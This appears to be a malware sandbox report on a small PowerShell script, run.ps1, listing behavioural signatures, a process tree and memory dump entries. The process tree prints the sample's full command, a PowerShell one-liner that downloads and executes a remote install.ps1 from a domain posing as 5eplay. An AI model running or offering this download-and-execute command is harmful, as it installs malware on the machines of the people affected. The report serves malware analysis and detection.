Analysis
- user interaction
yes - max time kernel
29s - max time network
31s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 03:16
General
- Target run.ps1
- Size 100B
- Sample260727-dslmtaha98
- SHA256 74400ffa8770b577d9b57e4492ce94ea5c886ac2e73bd09dbc63c2e338bae2ca
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops file in Drivers directory 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(irm 'https://5eplay-com.harikrishnaharirama.com/install.ps1' -UseBasicParsing)"2⤵
- Badlisted process makes network request
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_uoc2r2hi.5jo.ps1
memory/3620-25-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-1-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-4-0x000002F86E1B0000-0x000002F86E1D2000-memory.dmp
memory/3620-5-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-6-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-9-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-10-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-43-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/3620-0-0x00007FFBCFDBF000-0x00007FFBCFDC0000-memory.dmp
memory/6020-12-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-29-0x00000177ED280000-0x00000177ED332000-memory.dmp
memory/6020-15-0x00000177EDA50000-0x00000177EDF78000-memory.dmp
memory/6020-18-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-19-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-20-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-21-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-22-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-23-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-16-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-30-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-17-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-28-0x00000177ECB90000-0x00000177ECBAE000-memory.dmp
memory/6020-14-0x00000177ED350000-0x00000177ED512000-memory.dmp
memory/6020-31-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-32-0x00000177ECBB0000-0x00000177ECBBA000-memory.dmp
memory/6020-33-0x00000177ECBE0000-0x00000177ECBFE000-memory.dmp
memory/6020-34-0x00000177ECF20000-0x00000177ED028000-memory.dmp
memory/6020-35-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-39-0x00000177ECF20000-0x00000177ED028000-memory.dmp
memory/6020-40-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-13-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp
memory/6020-11-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp